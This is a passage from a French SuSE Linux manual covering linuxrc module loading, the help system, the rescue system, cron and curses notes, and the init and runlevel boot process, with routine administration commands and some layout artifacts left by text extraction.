Partition check: sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 > Chargement de modules Vous choisissez le type de modules dont vous avez besoin. Si vous avez amorcé à partir d'une disquette, les données nécessaires seront lues par linuxrc et elles vous seront présentées afin que vous fassiez votre choix. Si vous avez amorcé à partir du CD ou si vous avez redémarré à partir de DOS à l'aide de loadlin , tous les modules sont déjà à la disposition de linuxrc . Ceci 430 ________________________________________________________________________________________________________________16.3.__linux* *rc____________________ vous épargne un chargement qui prend du temps mais vous oblige en revanche à prévoir une plus grande quantité de mémoire. Si votre machine a moins de 8 Mo de RAM, il vous faudra amorcer à partir d'une disquette. Fig. 16.2: Chargement de modules linuxrc vous propose une liste des pilotes disponibles. À gauche, vous voyez le nom du module concerné et à droite, une brève description du matériel géré par ce pilote. Pour certains composants, il existe plusieurs pilotes ou des pilotes expérimen- taux plus récents. Ceux-ci vous sont également proposés. Fig. 16.3: Choix des pilotes SCSI Entrée des paramètres Si vous avez trouvé_le_pilote qui gère votre matériel, positionnez le curseur et appuyez sur | _____|-. Il apparaît un masque dans lequel vous pouvez entrer * * 431 16. Particularités_sous_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ d'éventuels paramètres pour le module à charger. Pour plus d'informations sur les différents paramètres des modules, reportez-vous au paragraphe 14.3.4 page 383. Fig. 16.4: Entrée des paramètres pour le chargement de modules Nous tenons à préciser encore une fois ici que, contrairement aux paramètres entrés à l'invite du noyau (LILO ou SYSLINUX), plusieurs paramètres pour un même module doivent être séparés par des espaces. Dans de nombreux cas, une spécification exacte du matériel n'est pas du tout indispensable ; la plupart des pilotes détectent d'eux-mêmes les composants qu'ils gèrent. Ce n'est que pour les cartes réseaux et pour d'anciens modèles de lecteurs de CD-ROM avec leur propre carte contrôleur qu'il est très sou- vent nécessaire de spécifier__des paramètres. Faites d'abord un essai en ap- puyant tout simplement sur |_____-|. Avec certains modules, la reconnaissance et l'initialisation_du_matériel_peut durer assez longtemps. En passant à la console 4 (|A____l|t+ |F___|4), vous pourrez observer les messages du noyau pendant le chargement. Avec les adaptateurs SCSI tout particulièrement, le chargement dure un certain temps car ils at- tendent que tous les périphériques connectés se soient manifestés. Si le module a été chargé avec succès, les messages du noyau seront affichés par linuxrc et vous pourrez ainsi vous assurer que tout s'est passé comme prévu. Si ce n'est pas le cas, les messages pourront probablement vous per- mettre de découvrir la cause de l'échec. Démarrer le système / l'installation Si vous êtes parvenu à obtenir pour votre matériel un support complet du noyau, vous pouvez passer à l'option `Démarrer le système / l'ins- tallation' À partir de là (figure 16.5 page ci-contre), il est possible de mettre en route plusieurs procédures : `Démarrer l'installation' (c'est aussi par cette option que la mise à jour est démarrée), `Amorcer un système installé' 432 ________________________________________________________________________________________________________________16.3.__linux* *rc____________________ Fig. 16.5: Objectif de linuxrc (la partition racine doit être connue), `Démarrer le système de se- cours' (voir paragraphe 16.5 page 438)et `Démarrer le CD live'3 . _______________________________________________________________________________________________________________________|| |||||||| L'option `Démarrer le CD live' peut toujours rendre de précieux ser- ||| | |||||||| || | |||||||| vices si vous souhaitez par exemple vérifier, sans avoir à faire une instal- || | |||||||| || | |||||||| lation sur le disque dur, si la machine ou le notebook que vous avez l'in- || | |||||||| tention d'acheter est compatible avec SuSE Linux ~ un test de ce genre || | |||||||| || | |||||||| devrait être possible dans pratiquement tous les magasins qui vendent des || | |||||||| PC ! || | ||||||||_______________________________________________________________________________________________________________||_ Fig. 16.6: Sélection du support d'installation dans linuxrc 3 ____________________________________________________ Ce CD live (``système de fichiers live'') est disponible pour les architectures x86 (voir para- graphe 3.6.4 page 108. * * 433 16. Particularités_sous_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ Vous pouvez choisir différentes sources pour l'installation ainsi que pour le système de secours (voir figure 16.6 page précédente). 434 ___________________________________________________________________16.4.__Le_système_d'aide_pour_SuSE______Linux____________* *______________________ 16.4 Le système d'aide pour SuSE Linux Le système d'aide est orienté composants et peut être utilisé au moyen de n'importe quel navigateur Web (sous l'interface graphique voir plus haut figure 1.1 page 8 ou sur la console texte voir ici figure 16.7) ~ même au niveau réseau si vous le souhaitez. L'élément central du système se trouve dans le paquetage susehilf, série doc (Documentation). Selon l'importance de l'installation ou la fonctionna- lité que vous désirez, vous devrez encore installer les paquetages suivants (pour la procédure d'installation voir paragraphe 3.4.3 page 95). Les paque- tages essentiels seront installés automatiquement si vous effectuez une instal- lation standard à partir de YaST ~ donc pas de panique dans le cas où tout ceci vous|semblerait|un peu confus pour le moment ;-) | _______________________________________________________________________________________________________________________|||| |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Fig. 16.7: Page de démarrage du système d'aide (lynx) paquetage apache, série n : Apache, le serveur WWW local. paquetage sdb, série doc : Le paquetage de base avec fonctionnalité de re- cherche pour la SDB. paquetage sdb_de, série doc : Les textes de la base de données support (SDB), en allemand. paquetage susepak, série doc : Pour le cas où vous souhaiteriez étudier les descriptions de paquetages en toute tranquillité : : : paquetage howtodeh, série doc : Les documents Howto, en allemand. paquetage howtoenh, série doc : Les documents Howto, version anglaise (en général il sont plus actuels que les traductions). paquetage ldp, série doc : Livres, FAQ, etc. du Linux Documentation Pro- ject (LDP) en HTML. paquetage rman, série ap : Contient http-rman . * * 435 16. Particularités_sous_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ paquetage inf2htm, série doc : Permet de lire les documents Texinfo (voir paragraphe 1.4.3 page 9) avec le navigateur WWW. Les documents sont convertis ``on-the-fly''. paquetage dochost, série n : Une machinerie pour un serveur central de documents dans le réseau. Nous vous conseillons de vous familiariser avec /usr/doc/packages/dochost/README.SuSE ! paquetage htdig, série n : Pour la création d'un index de recherche de tous les documents WWW installés sur la machine (ou dans le réseau local). Votre machine devient un petit moteur de recherche WWW. paquetage dochost et paquetage htdig ne sont pas absolument indispen- sables mais cependant très utiles pour obtenir une pleine fonctionnalité. 16.4.1 Configuration pour système monoposte ou système serveur Pour un système monoposte, positionnez dans /etc/rc.config les va- riables présentées dans le fichier 16.4.1 (de préférence avec YaST ainsi qu'il est décrit au paragraphe 3.6.12 page 114 et particulièrement au page 458 ). Ceci implicite bien sûr que votre système se nomme so- leil.cosmos.univers. Si ce n'est pas le cas, vous devrez utiliser les noms que vous avez assignés. ________________________________________________________________________________________________________* *________ |START_INETD="yes" * * | |START_HTTPD="yes" * * | |DOC_SERVER="yes" * * | |DOC_HOST="soleil.cosmos.univers" * * | | * * | |DOC_ALLOW="LOCAL__.cosmos.univers"_____________________________________________________________________* *________ | fichier 16.4.1: /etc/rc.config pour système monoposte ou système ser- veur inetd (angl. inet daemon) devrait absolument être lancé. Ce démon est né- cessaire, entre autre, pour accéder aux + pages de man via http-rman . Mais http-rman ne peut bien sûr fonctionner que si ce service n'est pas désactivé dans /etc/hosts.deny Veillez à ce que le serveur HTTP (apache ) soit lancé lors de l'amorçage. Vous devez pour cela positionner START_HTTPD à yes . DOC_SERVER détermine si les documents doivent être mis à disposition à par- tir de cette machine. Cette variable doit également être positionnée à yes si vous souhaitez ~ par exemple dans le cas d'un système monoposte ~ avoir un accès local aux documents. DOC_HOST indique le nom du serveur de do- cuments (ici : soleil.cosmos.univers). DOC_ALLOW est une variable qui joue un rôle déterminant au niveau de la sécurité. C'est là que l'on inscrit les machines ou les domaines autorisés à accéder aux pages de man. Si vous voulez attribuer des droits d'accès à un domaine complet, n'oubliez pas de faire précéder son nom par un point `.' ! ________________________________________________________________________________________________________* *________|| | Notez que SuSEconfig doit être lancé après chaque modification des va- * * |||| | riables. Si vous utilisez YaST , cela se fait automatiquement lorsque vous * * ||| | * * ||| | quittez le masque. * * ||| |_______________________________________________________________________________________________________* *________|||_ 436 ___________________________________________________________________16.4.__Le_système_d'aide_pour_SuSE______Linux____________* *______________________ La recherche plein texte n'est disponible que lorsque les index pour ht://Dig (paquetage htdig) ont été créés. Les index ont actuellement une taille d'en- viron 70 Mo. Sous /opt/www/htdig, il devrait y avoir au moins 200 Mo d'espace libre sur le disque pendant l'initialisation de la base de données. L'initialisation se fait par la commande terre:~ # suserundig Le script /usr/sbin/suserundig lit le fichier de configuration /opt/www/ htdig/conf/susedig.conf et crée les index. En cas de modification du stock de données (par exemple après une mise à jour de documents HTML), suserundig doit de nouveau être invoqué. 16.4.2 Configuration pour une machine client Dans un environnement réseau, vous ne souhaiterez probablement pas instal- ler la totalité de la documentation sur toutes les machines. Ce n'est pas non plus nécessaire ! De tous les paquetages mentionnés plus haut, installez sur le client uniquement le paquetage dochost, série n et positionnez les variables dans /etc/rc.config comme dans le fichier 16.4.2. _______________________________________________________________________________________________________________________|DOC_* *SERVER="no"| ||||||||DOC_HOST="soleil.cosmos.univers" | |||||||| | ||||||||DOC_ALLOW=""___________________________________________________________________________________________________ | fichier 16.4.2: /etc/rc.config pour une machine client Ceci ne peut évidemment fonctionner que si la documentation est effective- ment installée sur soleil.cosmos.univers. 16.4.3 Utiliser le système d'aide Lorsque le système d'aide est installé, vous pouvez l'invoquer soit avec la commande aide ou susehelp , soit en entrant directement l'URL http://localhost/doc/susehilf/index.html ou http://soleil. cosmos.univers/doc/susehilf/index.html dans un navigateur WWW. soleil.cosmos.univers ne peut naturellement être utilisé que si vous avez donné ce nom à votre machine ou au serveur de documents. * * 437 16. Particularités_sous_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ 16.5 Le système de secours SuSE Vue d'ensemble SuSE Linux inclut ~ indépendamment du système d'installation ~ un système de secours Linux autonome4 qui vous permettra, en cas d'urgence, d'accéder ``de l'extérieur'' à toutes vos partitions Linux qui se trouvent sur les disques durs. Ce système de secours comprend un choix soigneusement élaboré de programmes auxiliaires qui mettent suffisamment d'outils à votre disposition pour vous permettre de remédier à une multitude de problémes causés par des disques durs devenus inaccessibles, des fichiers de configuration erronés, et d'autres choses encore. Le système de secours est constitué d'une disquette d'amorçage ou d'un CD SuSE Linux amorçable ainsi que d'un système dit rescue qu'il est pos- sible, sous SuSE Linux, de charger à partir des supports les plus divers (dis- quette, CD, réseau et même directement depuis le serveur FTP de SuSE ) ~ Somme toute, un sujet passionnant. Travaux préliminaires Comme vous pouvez créer à tout moment une nouvelle disquette d'amorçage à l'aide du véritable fichier image contenu sur le CD sous /disks, il vous est possible de parer à toute éventualité. Outre la disquette d'amorçage, vous n'aurez besoin, dans le cas minimal, que du fichier /disks/rescue qui se trouve sur le CD et qui contient l'image compressée d'un petit système de fichiers racine. Si vous écrivez ce fichier sur une deuxième disquette ``de secours'' sans aucun défaut avec les commandes Linux terre: # /sbin/badblocks -v /dev/fd0 1440 terre: # dd if=/cdrom/disks/rescue of=/dev/fd0 bs=18k ou avec la commande DOS (supposons que Q: soit le lecteur de CD-ROM sous DOS) Q:\> cd \dosutils\rawrite Q:\dosutils\rawrite> rawrite.exe vous pourrez aussi charger le système rescue à partir de la disquette d'amor- çage et de cette disquette de secours. La disquette de secours peut aussi être créée avec YaST (voir paragraphe 3.6.2 page 104). actuellement , elle est en- core basée à dessein sur la libc5 (SuSE Linux 5.3) car c'est la seule solution qui permette d'intégrer certains programmes sur la disquette (un + éditeur, fdisk , e2fsck , etc.) ~ la glibc serait, de par sa taille, trop volumineuse. Il n'est toutefois pas possible de monter la disquette de secours car elle n'est pas un système de fichiers. Elle contient seulement l'image compressée d'un système de fichiers (si cette image, d'environ 3 Mo, n'était pas compressée elle serait trop grande pour tenir sur une disquette). Si vous voulez malgré tout y jeter un coup d'oeil, vous devrez décompresser le fichier image et monter ensuite l'image non compressée (en tant qu'utilisateur `root'). Ceci suppose _____________________________________________4 Plus exactement, il en existe 2 (voir la suite du paragraphe pour plus de détails) ~ ou même 3 si l'on considère aussi le ``système de fichiers live'' comme un système de secours. Pour le système de fichiers live voir paragraphe 3.6.4 page 108. 438 _______________________________________________________________________________16.5.__Le_système_de_secours_SuSE____________* *______________________ que votre noyau Linux supporte le loop device. Les choses se passent alors comme suit : terre: # cp /cdrom/disks/rescue /root/rescue.gz terre: # gunzip /root/rescue.gz terre: # mount -t ext2 -o loop /root/rescue /mnt Sous /mnt, vous pouvez maintenant explorer le contenu de la disquette de secours en toute tranquillité. _______________________________________________________________________________________________________________________|| |||||||| Conservez dans un lieu sûr quelques disquettes d'amorçage et de secours ||| | |||||||| vérifiées. Le peu qu'il faut faire pour les créer et les maintenir n'est vrai- || | |||||||| || | |||||||| ment pas grand chose comparé au travail et à la perte de temps que vous || | |||||||| auriez si, en cas de nécessité, vous n'aviez pas ces disquettes sous la main || | |||||||| || | |||||||| (et si de surcroît votre lecteur de CD-ROM vous laissait en plan). || | ||||||||_______________________________________________________________________________________________________________||_ Démarrer le système de secours Tout comme une installation, le système de secours est démarré à partir de la disquette d'amorçage SuSE ou à partir du CD 1 amorçable. Les étapes sont les suivantes : 1. Condition : le lecteur de disquettes est prêt pour l'amorçage. (si c'est nécessaire, changer l'ordre d'amorçage dans le CMOS SETUP). 2. Démarrez le système avec la disquette d'amorçage SuSE ou le CD 1. Entrez, à l'invite d'amorçage, soit yast1 , soit manuel . Avec manuel , vous avez la possibilité de charger, de manière autonome, les modules du noyau nécessaires. 3. Configurez la langue, le clavier et le reste comme lors de l'installation dans linuxrc , jusqu'à ce que vous arriviez au menu principal. 4. Sélectionnez dans le menu principal `Démarrer l'installation/ le système'. 5. Si vous avez démarré avec la disquette d'amorçage, insérez maintenant le CD d'installation ou la disquette (rescue) avec l'image compressée du système de secours. 6. Sélectionnez dans le menu `Démarrer l'installation/le systè- me' l'option `Démarrer le système de secours' (voir figure 16.5 page 433) et spécifiez le support source que vous désirez (figure 16.8 page suivante) : `CD-ROM' : Ceci représente le ``cas normal''. linuxrc chargera un sys- tème confortable (.../suse/images/rescue). Pour que cette mé- thode soit possible, votre machine doit disposer d'au moins 16 Mo ou mieux encore de 24 Mo de RAM (mémoire de travail). ~ Il convient de noter que /cdrom sera exporté simultanément. Il est ainsi possible de démarrer aisément le système de secours et de procéder à une in- stallation réseau à partir de ce CD (insérer les valeurs exactes dans les /etc/rc.config indispensables et invoquer ensuite SuSEconfig ; voir paragraphe 17.5 page 450 et pages suivantes). * * 439 16. Particularités_sous_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ Fig. 16.8: Support pour le système rescue `Réseau (NFS)' : Récupérez le système rescue sur le réseau via NFS. Pour cela, il est bien sûr indispensable que le pilote pour votre carte réseau ait été chargé auparavant. Voir à ce sujet les remarques d'ordre général du paragraphe 2.4.2 page 48. `Réseau (FTP)' : Récupérez le système rescue sur le réseau via FTP. Ne pas oublier le pilote pour la carte réseau ! `Disque dur' : Chargement du système rescue à partir du disque dur. `Disquette' : Démarrage du système rescue à partir de la disquette. Cette variante fonctionne même dans le cas où la machine ne dispose que de peu de RAM. Le système de secours est maintenant décompressé et chargé comme nouveau système de fichiers racine sur un disque RAM, puis il est ensuite monté et démarré. Il est ainsi fonctionnel. Travailler avec le système de secours Le système_de secours met à votre disposition, avec |A_____|lt+ |F___|_1jusqu'à |A_____|lt + |___F|3, au moins trois consoles virtuelles sur lesquelles__vous pouvez_ vous connecter en tant qu'utilisateur `root' sans mot de passe. Avec |A____l|t+ |F____1|0 vous passez à la console du système qui affiche les messages du noyau et de syslog . Sous /bin, vous trouverez l'interpréteur de commandes (shell) ainsi que des utilitaires (par exemple mount ). Un certain nombre d'utilitaires de fichiers et de réseau, entre autres e2fsck pour la vérification et la restauration de systèmes de fichiers, se trouvent sous /sbin. C'est également sous /sbin que vous trouverez les binaires les plus importants pour l'administration du système tels que fdisk , mkfs , mkswap ,init , shutdown ainsi que ceux pour le réseau ifconfig , route et netstat . Comme éditeur, vous disposez du programme vi sous /usr/bin. Vous trou- verez ici encore d'autres outils (grep , find , less , etc.) et surtout telnet . 440 _______________________________________________________________________________16.5.__Le_système_de_secours_SuSE____________* *______________________ Exemple : Accès au système normal Pour le montage de votre système Linux sur le disque dur, c'est le point de montage /mnt qui est prévu. Vous pouvez bien sûr, pour vos besoins personnels, créer d'autres répertoires et les utiliser comme points de montage. Supposons que votre système normal soit constitué, selon /etc/fstab, des mêmes éléments que dans l'exemple donné par le fichier 16.5.1. _______________________________________________________________________________________________________________________ ||||||||/dev/sdb5 swap swap defaults 0 0 | ||||||||/dev/sdb3 / ext2 defaults 1 1 | |||||||| | ||||||||/dev/sdb6____________/usr______________ext2______________defaults_____1_____2__________________________________ | fichier 16.5.1: Exemple : /etc/fstab Vous le monterez alors étape par étape sous /mnt avec les commandes sui- vantes (l'ordre doit être respecté !) : terre:/ # mount /dev/sdb3 /mnt terre:/ # mount /dev/sdb6 /mnt/usr Vous avez maintenant accès à la totalité de votre système et vous pouvez, par exemple, corriger des erreurs dans des fichiers de configuration tels que /etc/fstab, /etc/passwd, /etc/inittab ~ qui se trouvent bien sûr à présent sous /mnt/etc et non plus sous /etc ! Tout utilisateur Linux possédant un peu d'expérience profite de la première occasion pour faire une copie sur papier (hardcopy) de /etc/fstab et de la sortie de la commande terre: # fdisk -l /dev/ ``pour ses archives''. À la place de , insérez les uns après les autres les noms de périphériques de vos disques durs, par exemple hda (voir la liste au paragraphe D.1 page 531) Il est souvent possible de récupérer même des partitions complètes qui ont été détruites en les recréant simplement avec le fdisk de Linux, à condition que l'on sache exactement où elles étaient auparavant sur le disque dur. Exemple : Restaurer des systèmes de fichiers Les systèmes de fichiers endommagés sont une sérieuse raison pour utiliser le système de secours. Ceci peut arriver à la suite, par exemple, d'un arrêt brutal de la machine (dû éventuellement à une panne de courant) ou d'un effondre- ment du système. Par principe, il n'est pas possible de restaurer un système de fichiers pendant une exécution normale. Lorsque de graves dégâts se sont produits, il peut arriver qu'il ne soit plus possible de monter même le système de fichiers racine et que le démarrage du système se termine par le message "kernel panic". La seule issue qui reste est de tenter une réparation ``de l'extérieur'' sous un système de secours. Le système de secours SuSE Linux contient les utilitaires e2fsck et, pour le diagnostic, dumpe2fs . Ceci vous permet de maîtriser un bon nombre de problèmes. Comme dans certains cas la page de man de e2fsck n'est souvent plus accessible, nous l'avons imprimée dans l'annexe E page 537 du manuel. Exemple : * * 441 16. Particularités_sous_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ S'il n'est plus possible de monter un système de fichiers à cause d'un su- perbloc non valide, il est fort probable que e2fsck échouera également. La solution consiste dans ce cas à utiliser l'une des sauvegardes des superblocs qui sont créées et maintenues dans le système de fichiers tous les 8192 blocs (8193, 16385 : : :). Ceci est obtenu par exemple par la commande terre: # e2fsck -f -b 8193 /dev/ L'option -f force de façon absolue la vérification du système de fichiers et prévient ainsi l'erreur que pourrait faire e2fsck en supposant - devant la copie intacte du superbloc - que tout est pour le mieux. 16.6 Informations sur les paquetages logiciels spéciaux 16.6.1 paquetage cron Les tables cron sont situées sous /var/cron/tabs (et non plus sous /var/ lib/cron). Ce fichier /etc/crontab est une table configurée au niveau sys- tème dans laquelle il doit être indiqué, en plus de la date, le compte utilisa- teur sous lequel chacune des tâches demandées doit être exécutée (voir le fichier 16.6.1 dans lequel l'utilisateur `root' est indiqué). Les tables spéci- fiques aux paquetages, que l'on trouve dans /etc/cron.d, suivent le même format ~ voir la page de man de cron (man 8 cron ). ________________________________________________________________________________________________________* *________ |1-59/5 * * * * root test -x /usr/sbin/atrun && /usr/sbin/atrun * * | |_______________________________________________________________________________________________________* *________ | fichier 16.6.1: Exemple d'entrée dans /etc/crontab /etc/crontab ne peut pas être traité avec crontab -e mais doit être direc- tement chargé dans un éditeur, modifié et ensuite sauvegardé. Certains paquetages installent dans les répertoires /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly et /etc/cron.monthly des scripts shells dont l'exécution est contrôlée par /usr/lib/cron/run-crons. Toutes les 15 minutes, /usr/lib/cron/run-crons est invoqué dans la table principale (/etc/contrab). Il est ainsi garanti que des passages éven- tuellement sautés seront récupérés en temps voulu. Ne vous étonnez pas si peu de temps après l'amorçage l'utilisateur `nobody' apparaît dans la table des processus avec d'intenses activités. `nobody' actualise probablement la base de données locate (voir le paragraphe 17.6 page 461). 16.6.2 paquetage curses Le CD contient maintenant le paquetage ncurses. Les bibliothèques qui en font partie portent les noms libncurses.so. . Il en résulte que les commandes pour l'éditeur de liens doivent être modifiées dans de nom- breux Makefiles. Vous devriez donc compiler vos propres paquetages avec -lncurses et jamais avec -lcurses . Mais qui veut quand même le faire doit utiliser : -I/usr/include/termcap -I/usr/include/curses -L/usr/lib/termcap -L/usr/lib/curses 442 _________________________________________________________________________________________16.7.__Disposition_du_clavier______* *______________________ 16.6.3 Sources du paquetage uucp Les sources du paquetage uucp sont actuellement dans le RPM source de Sendmail sous forme d'un sous-paquetage. 16.6.4 Pages de man Pour certains programmes GNU (par exemple tar ), les pages de man ne sont plus maintenues. Elles ont remplacées par de rapides aperçus obtenus en utilisant l'option --help et par des fichiers Info qui constituent des manuels détaillés. Info (info ) est le système hypertexte de GNU . Avec info , on obtient une première aide pour l'utilisation. Il est possible d'invoquer info soit en passant par Emacs : emacs -f info , soit directement : info . Il est plaisant d'utiliser tkinfo , xinfo ou l'accès par le système d'aide. Voir le paragraphe 16.4 page 435. 16.7 Disposition du clavier Pour uniformiser la disposition du clavier de certains programmes, il a été apporté des modifications aux fichiers suivants : /etc/inputrc /usr/X11R6/lib/X11/Xmodmap /etc/skel/.Xmodmap /etc/skel/.exrc /etc/skel/.less /etc/skel/.lesskey /etc/csh.cshrc /etc/termcap /usr/lib/terminfo/x/xterm /usr/X11R6/lib/X11/app-defaults/XTerm /usr/share/emacs/20.5/site-lisp/term/*.el /usr/lib/joerc Ces modifications n'ont d'effet que sur les applications qui lisent les don- nées de terminfo ou sur celles dont les fichiers de configuration ont été di- rectement modifiés (vi , less , etc.). D'autres applications, externes à SuSE , devraient être adaptées à ces conditions. * * 443 16. Particularités_sous_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ 444 Chapitre 17 Le concept d'amorçage de SuSE Linux L'amorçage et l'initialisation d'un système UNIX rendent même un admi- nistrateur système chevronné quelque peu nerveux. Ce chapitre est une brève introduction au concept d'amorçage de SuSE Linux. Ce concept est plus com- plexe mais aussi beaucoup plus souple que celui de la plupart des autres sys- tèmes Linux. Il est basé sur le concept d'amorçage d'une station de travail moderne System V telle qu'elle est décrite, par exemple, dans [Fri93 ] Par ces paroles lapidaires "Uncompressing Linux...", le noyau prend les commandes de la totalité du matériel du système. Il vérifie et installe la console 1 pour lire ensuite les configurations dans le BIOS et initialiser les interfaces élémentaires de la carte mère. Au cours des phases suivantes, les différents pilotes ~ qui font partie des éléments qui constituent le noyau ~ ``tes- tent'' le matériel présent pour l'initialiser le cas échéant. Après le ``contrôle des partitions'' et le montage du système de fichiers racine2 , le noyau lance le programme /sbin/init qui démarre le système proprement dit avec ses nom- breux programmes utilitaires et leur configuration. Le noyau continue à gérer la totalité du système, c'est-à-dire le temps CPU des différents programmes et leurs accès au matériel. 17.1 Le programme init Le programme /sbin/init est le processus responsable de l'initialisation cor- recte du système ; il est pour ainsi dire le ``père de tous les processus'' du système. Sous tous les programmes, init joue un rôle particulier : init est lancé direc- tement par le noyau et il est immunisé contre le signal 9 avec lequel on peut normalement ``tuer'' tout processus. Les autres processus sont tous lancés soit par init lui-même, soit par l'un de ses ``processus fils''. init est configuré centralement au moyen du fichier /etc/inittab ; c'est ici que les ``runlevels'' (niveaux d'exécution) sont définis (plus de détails à ce sujet au prochain paragraphe) et qu'il est déterminé ce qui doit se passer à chaque niveau. En fonction des entrées faites dans /etc/inittab, différents 1 ____________________________________________________ Plus exactement le registre du BIOS de la carte graphique et le format d'affichage à l'écran. 2 Rattachement de la partition racine au répertoire/. * * 445 17. Le concept d'amorçage_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ scripts, regroupés pour plus de clarté dans le répertoire /sbin/init.d, sont lancés par init . Le démarrage complet du système ~ et bien sûr aussi son arrêt ~ sont ainsi pilotés par le seul processus init . Dans ce sens, on peut considérer le noyau, à peu de choses près, comme un ``processus en arrière-plan'' chargé de gérer les processus qui tournent, de leur allouer le temps CPU, d'autoriser et de contrôler l'accès au matériel. 17.2 Les niveaux d'exécution Sous Linux, il existe différents niveaux d'exécution (angl. runlevel) qui défi- nissent l'état que doit avoir le système. Le niveau d'exécution par défaut dans lequel le système démarre au moment de l'amorçage est déterminé dans le fichier /etc/inittab/etc/inittab par l'entrée initdefault . Habituel- lement, c'est 2 ou 3 (voir tableau 17.1 page ci-contre). Alternativement, il est possible de spécifier au moment de l'amorçage (par exemple à l'invite de LILO) le niveau d'exécution que l'on souhaite. Le noyau transmet au proces- sus init les paramétres inchangés qu'il n'utilise pas lui-même. Pour passer ultérieurement dans un autre niveau d'exécution, on peut tout simplement lancer init avec le numéro du niveau d'exécution correspondant. Bien entendu, le passage dans un autre niveau d'exécution ne peut être requis que par l'+ administrateur système. En tapant par exemple la commande root@terre:/ > init S on arrive en mode dit mono-utilisateur qui sert à la maintenance et à l'admi- nistration du système. Lorsque l'administrateur système a terminé son travail il peut, en tapant root@terre:/ > init 2 ramener le système au niveau d'exécution normal dans lequel tournent tous les programmes nécessaires au fonctionnement et qui permet aux différents utilisateurs de se connecter au système. Le tableau 17.1 page suivante donne une vue d'ensemble des niveaux d'exé- cution disponibles. Le runlevel 1 ne devrait pas être utilisé dans un système dont la partition /usr a été montée via NFS ! Ceci vous permet tout particulièrement, par root@terre:/ > init 0 d'arrêter le système ou, par root@terre:/ > init 6 de le redémarrer. Si vous avez déjà configuré correctement le système X Window sur votre machine (paragraphe 8.1 page 240) et si vous désirez que les utilisateurs puissent se connecter directement au système par l'interface graphique, vous pouvez, dans /etc/inittab, faire passer simplement le runlevel à 3 . Mais avant d'effectuer cette opération, vous devriez, en faisant l'entrée root@terre:/ > init 3 446 ____________________________________________________________________17.3.__Changement_de_niveau_d'exécution_________________* *______________________ _______________________________________________________________________________________________________________________ Runlevel__________Signification___________________________________________________________________________________________ 0 Arrêt (halt) S Mode mono-utilisateur 1 Multiutilisateur sans réseau 2 Multiutilisateur avec réseau (par défaut) 3 Multiutilisateur avec réseau et Xdm 4 Libre 5 Libre 6 Réamorçage (reboot) _______________________________________________________________________________________________________________________ Tab. 17.1: Liste des runlevels sous Linux tester si le système fonctionne comme vous le souhaitez. _______________________________________________________________________________________________________________________||||| |||||||| Un fichier /etc/inittab détérioré peut entraîner un mauvais démarrage ||| | |||||||| du système. Agissez donc avec la plus grande prudence si vous apportez || | |||||||| || | |||||||| des modifications à ce fichier. ~ Comme solution de secours, vous pouvez || | |||||||| essayer dans un tel cas de transmettre le paramètre init=/bin/sh à l'in- || | |||||||| || | |||||||| vite de LILO afin d'amorcer directement dans un shell (voir page 121). || | |||||||| || | |||||||| Ceci se fait de cette manière : || | |||||||| boot : linux init=/bin/sh || | ||||||||_______________________________________________________________________________________________________________||_ 17.3 Changement de niveau d'exécution En général, il se produit ce qui suit lorsque l'on passe d'un niveau d'exécution à un autre : Les scripts d'arrêt du niveau d'exécution actuel sont exécutés ~ ce qui logiquement arrête tous les programmes qui tournent ~ et les scripts de démarrage du nouveau niveau d'exécution sont également exécutés. Dans la plupart des cas, quelques programmes sont lancés au cours d'une telle procédure. Pour que tout ceci soit plus clair, voyons à l'aide d'un exemple ce qui arrive lorsque l'on passe du runlevel 2 au runlevel 3 : ~ L'administrateur (`root') fait savoir au processus init que le niveau d'exécution doit être changé : root@terre:/ > init 3 ~ init consulte le fichier de configuration /etc/inittab et constate que le script /sbin/init.d/rc doit être invoqué avec le nouveau niveau d'exécution comme paramètre. ~ Maintenant, rc invoque tous les scripts d'arrêt du présent niveau d'exécu- tion pour lesquels il n'existe pas de scripts de démarrage dans le nouveau niveau d'exécution. Dans notre exemple, il s'agit de scripts qui se trouvent tous dans le répertoire /sbin/init.d/rc2.d (l'ancien runlevel était 2) et dont le nom commence par un `K'3 . Le nombre qui suit le `K' ga- 3 ____________________________________________________ Les noms des scripts d'arrêt commencent toujours par `K' (angl. kill), ceux des scripts de démarrage par `S' (angl. start). * * 447 17. Le concept d'amorçage_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ rantit qu'un certain ordre sera respecté car il est possible que quelques programmes soient dépendants d'autres programmes. ~ Les scripts de démarrage du nouveau niveau d'exécution sont lancés en dernier. Ce sont ceux qui, dans notre exemple, se trouvent sous /sbin/ init.d/rc3.d et dont le nom commence par un `S'. Dans ce cas aussi, il sera tenu compte de l'ordre qui est déterminé par le nombre qui suit le `S'. Si vous passez au niveau d'exécution dans lequel vous vous trouvez déjà, init ne lit que son fichier /etc/inittab, vérifie s'il y a eu des modifications et prend le cas échéant les mesures qui s'imposent (par exemple lancement d'un getty sur une autre interface). 17.4 Les scripts init Concept Les scripts sous /sbin/init.d se divisent en deux catégories : ~ Les scripts qui sont directement lancés par init : Ceci ne se produit qu'au moment de l'amorçage ou lorsque le système est brusquement arrêté (par suite d'une panne_de_courant_ou_si l'utilisateur_appuie sur la combinaison de touches |C______|trl+ |A____l|t+ |S_______u|ppr). ~ Les scripts qui sont indirectement lancés par init : Cela arrive lors d'un changement de niveau d'exécution. Ici, c'est en règle générale le script supérieur /sbin/init.d/rc qui sera exécuté et qui fera en sorte que les scripts qui ont un rôle à jouer soient lancés dans un ordre correct. Tous les scripts se trouvent sous /sbin/init.d. Les scripts pour le chan- gement de niveau d'exécution sont également dans ce repértoire mais ils sont invoqués en tant que liens symboliques provenant des sous-répertoires /sbin/init.d/rc0.d à /sbin/init.d/rc6.d. Ceci permet d'y voir plus clair et il n'est pas ainsi nécessaire que les scripts soient présents en plu- sieurs exemplaires 